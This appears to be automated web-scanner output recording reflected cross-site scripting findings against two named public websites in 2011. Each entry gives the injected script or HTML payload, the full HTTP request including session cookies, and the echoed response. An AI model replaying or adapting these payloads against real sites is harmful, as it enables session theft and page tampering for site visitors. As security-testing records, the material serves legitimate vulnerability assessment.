The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload be6ec"><script>alert(1)</script>d3d7a4e3e9d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /templatesbe6ec"><script>alert(1)</script>d3d7a4e3e9d/X64/css/rating.css HTTP/1.1 Host: www.x64bitdownload.com Proxy-Connection: keep-alive Referer: http://www.x64bitdownload.com/downloads/t-64-bit-ozum-download-lhtivuds.html Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 14:59:10 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21303
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/templatesbe6ec"><script>alert(1)</script>d3d7a4e3e9d/X64/css/rating.css" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 10a3c"><script>alert(1)</script>8a1532546b6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /templates/X6410a3c"><script>alert(1)</script>8a1532546b6/css/rating.css HTTP/1.1 Host: www.x64bitdownload.com Proxy-Connection: keep-alive Referer: http://www.x64bitdownload.com/downloads/t-64-bit-ozum-download-lhtivuds.html Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 14:59:13 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21303
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/templates/X6410a3c"><script>alert(1)</script>8a1532546b6/css/rating.css" /> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fa220"><script>alert(1)</script>18ce10ab220 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /templates/X64/cssfa220"><script>alert(1)</script>18ce10ab220/rating.css HTTP/1.1 Host: www.x64bitdownload.com Proxy-Connection: keep-alive Referer: http://www.x64bitdownload.com/downloads/t-64-bit-ozum-download-lhtivuds.html Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 14:59:17 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21303
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/templates/X64/cssfa220"><script>alert(1)</script>18ce10ab220/rating.css" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload acf7e"><script>alert(1)</script>3af3c139581 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /templates/X64/css/rating.cssacf7e"><script>alert(1)</script>3af3c139581 HTTP/1.1 Host: www.x64bitdownload.com Proxy-Connection: keep-alive Referer: http://www.x64bitdownload.com/downloads/t-64-bit-ozum-download-lhtivuds.html Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 14:59:20 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21303
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/templates/X64/css/rating.cssacf7e"><script>alert(1)</script>3af3c139581" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6ddb4"><script>alert(1)</script>3c49f3529e7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /templates6ddb4"><script>alert(1)</script>3c49f3529e7/X64/css/x64_main.css HTTP/1.1 Host: www.x64bitdownload.com Proxy-Connection: keep-alive Referer: http://www.x64bitdownload.com/downloads/t-64-bit-ozum-download-lhtivuds.html Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 14:59:15 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21305
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/templates6ddb4"><script>alert(1)</script>3c49f3529e7/X64/css/x64_main.css" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4258f"><script>alert(1)</script>7057cfe06f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /templates/X644258f"><script>alert(1)</script>7057cfe06f/css/x64_main.css HTTP/1.1 Host: www.x64bitdownload.com Proxy-Connection: keep-alive Referer: http://www.x64bitdownload.com/downloads/t-64-bit-ozum-download-lhtivuds.html Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 14:59:19 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21304
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/templates/X644258f"><script>alert(1)</script>7057cfe06f/css/x64_main.css" /> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea3de"><script>alert(1)</script>3f9e9d602b4 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /templates/X64/cssea3de"><script>alert(1)</script>3f9e9d602b4/x64_main.css HTTP/1.1 Host: www.x64bitdownload.com Proxy-Connection: keep-alive Referer: http://www.x64bitdownload.com/downloads/t-64-bit-ozum-download-lhtivuds.html Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 14:59:22 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21305
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/templates/X64/cssea3de"><script>alert(1)</script>3f9e9d602b4/x64_main.css" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e77f"><script>alert(1)</script>b3861bca820 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /templates/X64/css/x64_main.css2e77f"><script>alert(1)</script>b3861bca820 HTTP/1.1 Host: www.x64bitdownload.com Proxy-Connection: keep-alive Referer: http://www.x64bitdownload.com/downloads/t-64-bit-ozum-download-lhtivuds.html Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 14:59:25 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21305
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/templates/X64/css/x64_main.css2e77f"><script>alert(1)</script>b3861bca820" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 452a6"><script>alert(1)</script>aad361d3eee was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /top-software-downloads.html452a6"><script>alert(1)</script>aad361d3eee HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:26:42 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21302
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/top-software-downloads.html452a6"><script>alert(1)</script>aad361d3eee" /> ...[SNIP]...
4.1860. http://www.x64bitdownload.com/top-software-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/top-software-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81c04"><script>alert(1)</script>82fac2b2da7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /top-software-downloads.html?81c04"><script>alert(1)</script>82fac2b2da7=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:23:58 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 140126
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/top-software-downloads.html?81c04"><script>alert(1)</script>82fac2b2da7=1" /> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b9b6a"><a>6635c8f9e01 was submitted in the REST URL parameter 4. This input was echoed as b9b6a\"><a>6635c8f9e01 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /features/articles/dish/BO144734b9b6a"><a>6635c8f9e01/ HTTP/1.1 Host: www1.whdh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ACC1TAB=1; __utmz=208585492.1295906131.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=208585492.509901533.1295906131.1295906131.1295906131.1; WHDHSTR=d2c1b5275a3ff835402a31251d91c0c5; __utmc=208585492; __utmb=208585492.1.10.1295906131;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:57:54 GMT Server: Apache/2.0.46 (Red Hat) Accept-Ranges: bytes X-Powered-By: PHP/4.3.2 Cache-Control: must-revalidate Age: 0 Cache-Control: max-age=7150 Via: HTTP/1.1 www1.whdh.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Mon, 24 Jan 2011 23:56:15 GMT Content-Type: text/html; charset=ISO-8859-1 Via: 1.1 dfw107006 (MII-APC/1.6) Connection: close Content-Length: 11914
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>The Dish - </title> <meta name="publisher" content="New England News Station Boston ...[SNIP]... <a href="javascript:void(0);" onclick="ShareLink(this,'http://www.whdh.com/features/articles/dish/BO144734b9b6a\"><a>6635c8f9e01/','')" onmouseout="ShareLinkClose()"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d5ac4"><a>b14a891ae7 was submitted in the REST URL parameter 4. This input was echoed as d5ac4\"><a>b14a891ae7 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /features/articles/dish/BO144759d5ac4"><a>b14a891ae7/ HTTP/1.1 Host: www1.whdh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ACC1TAB=1; __utmz=208585492.1295906131.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=208585492.509901533.1295906131.1295906131.1295906131.1; WHDHSTR=d2c1b5275a3ff835402a31251d91c0c5; __utmc=208585492; __utmb=208585492.1.10.1295906131;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:57:47 GMT Server: Apache/2.0.46 (Red Hat) Accept-Ranges: bytes X-Powered-By: PHP/4.3.2 Cache-Control: must-revalidate Age: 0 Cache-Control: max-age=7150 Via: HTTP/1.1 www1.whdh.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Mon, 24 Jan 2011 23:56:07 GMT Content-Type: text/html; charset=ISO-8859-1 Via: 1.1 dfw107010 (MII-APC/1.6) Connection: close Content-Length: 11910
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>The Dish - </title> <meta name="publisher" content="New England News Station Boston ...[SNIP]... <a href="javascript:void(0);" onclick="ShareLink(this,'http://www.whdh.com/features/articles/dish/BO144759d5ac4\"><a>b14a891ae7/','')" onmouseout="ShareLinkClose()"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab001"><a>7bdcb52ea9d was submitted in the REST URL parameter 4. This input was echoed as ab001\"><a>7bdcb52ea9d in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /features/articles/dish/BO144797ab001"><a>7bdcb52ea9d/ HTTP/1.1 Host: www1.whdh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ACC1TAB=1; __utmz=208585492.1295906131.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=208585492.509901533.1295906131.1295906131.1295906131.1; WHDHSTR=d2c1b5275a3ff835402a31251d91c0c5; __utmc=208585492; __utmb=208585492.1.10.1295906131;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:57:48 GMT Server: Apache/2.0.46 (Red Hat) Accept-Ranges: bytes X-Powered-By: PHP/4.3.2 Cache-Control: must-revalidate Age: 1 Cache-Control: max-age=7150 Via: HTTP/1.1 www1.whdh.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Mon, 24 Jan 2011 23:56:08 GMT Content-Type: text/html; charset=ISO-8859-1 Via: 1.1 dfw107005 (MII-APC/1.6) Connection: close Content-Length: 11914
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>The Dish - </title> <meta name="publisher" content="New England News Station Boston ...[SNIP]... <a href="javascript:void(0);" onclick="ShareLink(this,'http://www.whdh.com/features/articles/dish/BO144797ab001\"><a>7bdcb52ea9d/','')" onmouseout="ShareLinkClose()"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 605d8"><a>2ca3bfe2d55 was submitted in the REST URL parameter 4. This input was echoed as 605d8\"><a>2ca3bfe2d55 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /features/articles/dish/BO144833605d8"><a>2ca3bfe2d55/ HTTP/1.1 Host: www1.whdh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ACC1TAB=1; __utmz=208585492.1295906131.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=208585492.509901533.1295906131.1295906131.1295906131.1; WHDHSTR=d2c1b5275a3ff835402a31251d91c0c5; __utmc=208585492; __utmb=208585492.1.10.1295906131;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:57:46 GMT Server: Apache/2.0.46 (Red Hat) Accept-Ranges: bytes X-Powered-By: PHP/4.3.2 Cache-Control: must-revalidate Age: 1 Cache-Control: max-age=7150 Via: HTTP/1.1 www1.whdh.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Mon, 24 Jan 2011 23:56:06 GMT Content-Type: text/html; charset=ISO-8859-1 Via: 1.1 dfw107010 (MII-APC/1.6) Connection: close Content-Length: 11914
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>The Dish - </title> <meta name="publisher" content="New England News Station Boston ...[SNIP]... <a href="javascript:void(0);" onclick="ShareLink(this,'http://www.whdh.com/features/articles/dish/BO144833605d8\"><a>2ca3bfe2d55/','')" onmouseout="ShareLinkClose()"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4e53b"><a>d8417674324 was submitted in the REST URL parameter 4. This input was echoed as 4e53b\"><a>d8417674324 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /features/articles/hank/BO1443724e53b"><a>d8417674324/ HTTP/1.1 Host: www1.whdh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ACC1TAB=1; __utmz=208585492.1295906131.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=208585492.509901533.1295906131.1295906131.1295906131.1; WHDHSTR=d2c1b5275a3ff835402a31251d91c0c5; __utmc=208585492; __utmb=208585492.1.10.1295906131;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:58:14 GMT Server: Apache/2.0.46 (Red Hat) Accept-Ranges: bytes X-Powered-By: PHP/4.3.2 Cache-Control: must-revalidate Age: 1 Cache-Control: max-age=7150 Via: HTTP/1.1 www1.whdh.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Mon, 24 Jan 2011 23:56:34 GMT Content-Type: text/html; charset=ISO-8859-1 Via: 1.1 dfw107003 (MII-APC/1.6) Connection: close Content-Length: 11959
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>Hank Investigates - </title> <meta name="publisher" content="New England News Statio ...[SNIP]... <a href="javascript:void(0);" onclick="ShareLink(this,'http://www.whdh.com/features/articles/hank/BO1443724e53b\"><a>d8417674324/','')" onmouseout="ShareLinkClose()"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8cc43"><a>00199ee1503 was submitted in the REST URL parameter 4. This input was echoed as 8cc43\"><a>00199ee1503 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /features/articles/hank/BO1444528cc43"><a>00199ee1503/ HTTP/1.1 Host: www1.whdh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ACC1TAB=1; __utmz=208585492.1295906131.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=208585492.509901533.1295906131.1295906131.1295906131.1; WHDHSTR=d2c1b5275a3ff835402a31251d91c0c5; __utmc=208585492; __utmb=208585492.1.10.1295906131;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:58:12 GMT Server: Apache/2.0.46 (Red Hat) Accept-Ranges: bytes X-Powered-By: PHP/4.3.2 Cache-Control: must-revalidate Age: 0 Cache-Control: max-age=7151 Via: HTTP/1.1 www1.whdh.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Mon, 24 Jan 2011 23:56:34 GMT Content-Type: text/html; charset=ISO-8859-1 Via: 1.1 dfw107010 (MII-APC/1.6) Connection: close Content-Length: 11959
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>Hank Investigates - </title> <meta name="publisher" content="New England News Statio ...[SNIP]... <a href="javascript:void(0);" onclick="ShareLink(this,'http://www.whdh.com/features/articles/hank/BO1444528cc43\"><a>00199ee1503/','')" onmouseout="ShareLinkClose()"> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e5e60"><a>d738f217fec was submitted in the REST URL parameter 4. This input was echoed as e5e60\"><a>d738f217fec in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /features/articles/hank/BO144489e5e60"><a>d738f217fec/ HTTP/1.1 Host: www1.whdh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ACC1TAB=1; __utmz=208585492.1295906131.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=208585492.509901533.1295906131.1295906131.1295906131.1; WHDHSTR=d2c1b5275a3ff835402a31251d91c0c5; __utmc=208585492; __utmb=208585492.1.10.1295906131;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:58:12 GMT Server: Apache/2.0.46 (Red Hat) Accept-Ranges: bytes X-Powered-By: PHP/4.3.2 Cache-Control: must-revalidate Age: 0 Cache-Control: max-age=7150 Via: HTTP/1.1 www1.whdh.com (MII-WSD/1.4) X-Pb-Mii: Powered by Mirror Image Internet Expires: Mon, 24 Jan 2011 23:56:32 GMT Content-Type: text/html; charset=ISO-8859-1 Via: 1.1 dfw107010 (MII-APC/1.6) Connection: close Content-Length: 11959
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>Hank Investigates - </title> <meta name="publisher" content="New England News Statio ...[SNIP]... <a href="javascript:void(0);" onclick="ShareLink(this,'http://www.whdh.com/features/articles/hank/BO144489e5e60\"><a>d738f217fec/','')" onmouseout="ShareLinkClose()"> ...[SNIP]...
